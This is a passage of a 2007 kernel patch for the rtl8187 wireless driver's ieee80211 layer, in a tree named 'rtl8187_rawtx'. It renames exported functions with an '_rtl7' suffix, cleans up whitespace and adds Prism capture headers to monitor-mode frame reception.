- ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_rx.c 2007-06-08 23:30:47.000000000 +0200 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +130,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +160,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +199,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +212,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +222,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +244,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +253,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +319,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +360,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +370,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +405,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +415,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +433,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +510,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +549,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +567,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +595,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +621,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +641,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +672,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +685,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +696,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +730,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +740,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +760,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +788,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +829,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +962,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +979,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1030,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1057,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1080,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1213,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1221,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1238,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1270,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1305,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1328,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1372,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1387,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1405,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1413,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1421,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c 2007-06-21 23:51:28.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, 